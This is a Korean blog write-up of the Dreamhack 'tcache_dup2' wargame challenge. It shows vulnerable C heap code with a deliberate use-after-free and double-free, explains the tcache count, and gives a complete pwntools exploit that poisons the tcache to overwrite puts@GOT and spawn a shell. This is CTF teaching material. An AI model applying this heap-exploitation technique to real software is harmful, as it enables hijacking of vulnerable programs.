본문 바로가기

System Hacking

[Dreamhack] tcachee_dup2 풀이 - 티스토리

문제 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

 

 

문제 설명

 

tcache_dup와 같은 형식이고 버전만 다르다

이 문제는 t_idx를 고려해서 풀어야 하며, t_idx가 낮은 값을 갖지 않도록 해야한다

따라서 청크를 두 번 할당 후 DFB를 일으켜야 한다

만약 낮은 값을 갖을 시 tcache를 참조하지 않는다

 

 

 

 

익스

 

from pwn import*
 
p = remote('host3.dreamhack.games', 10178)
 
e = ELF('./tcache_dup2')
 
puts_got = e.got['puts']
get_shell = 0x0000000000401530
 
def create(size, data):
    p.sendlineafter(b'> ', str(1).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)
 
def modify(index, size, data):
    p.sendlineafter(b'> ', str(2).encode())
    p.sendlineafter(b'idx: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)
 
def delete(index):
    p.sendlineafter(b'> ', str(3).encode())
    p.sendlineafter(b'idx: ', str(index).encode())
  
 create(0x30, b'a')
 create(0x30, b'a')
 delete(0)
 delete(1)
  
 modify(1, 0x8, p64(puts_got))
 create(0x30, b'a')
 create(0x30, p64(get_shell))
  
 p.interactive()